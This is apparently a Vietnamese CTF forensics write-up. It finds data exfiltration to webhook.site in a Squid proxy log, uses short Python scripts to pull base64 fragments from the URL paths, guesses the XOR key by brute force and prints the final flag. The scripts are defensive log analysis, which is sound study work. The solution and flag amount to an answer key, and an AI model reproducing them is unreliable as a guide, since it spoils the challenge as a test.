Quan sát điểm đáng ngờ khi có nhiều truy cập đến webhook.site từ các IP nội bộ khác nhau là dấu hiệu rò rỉ dữ liệu.

webhook.site là dịch vụ cho phép bất kỳ ai tạo một endpoint để nhận dữ liệu từ bên ngoài {. :prompt-info }

Lọc các đoạn webhook.site để phân tích:

1
2
3
4
5
s = open('squid.log', 'r').readlines()
with open('webhook_site.log', 'w') as f:
    for line in s:
        if 'webhook.site' in line:
            f.write(line)

image

Có 7 đoạn cho thấy đang truyền dữ liệu decode base64 từng phần qua URL path đến webhook.site.

image

Format flag là HCMUS-CTF{ nên guessing thử xor với key xem:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from base64 import b64decode

data = open('webhook_site.log', 'r').readlines()
text = ''
for line in data:
    if 'text/html' in line:
        # print(line.split('/')[::-1][2].split('-')[0])
        text += line.split('/')[::-1][2].split(' -')[0]
print(text)
text = b64decode(text).decode()
pre = "HCMUS-CTF{"
for i in range(len(pre)):
    print(chr(ord(pre[i]) ^ ord(text[i])), end='')
# hcmusctf20

image

Key gần đúng rồi, brute tiếp thì key đúng là hcmusctf2025:

image

HCMUS-CTF{3v3nt-1o9-n51nx-4nd-5qu1d-adfx}

This post is licensed under CC BY 4.0 by the author.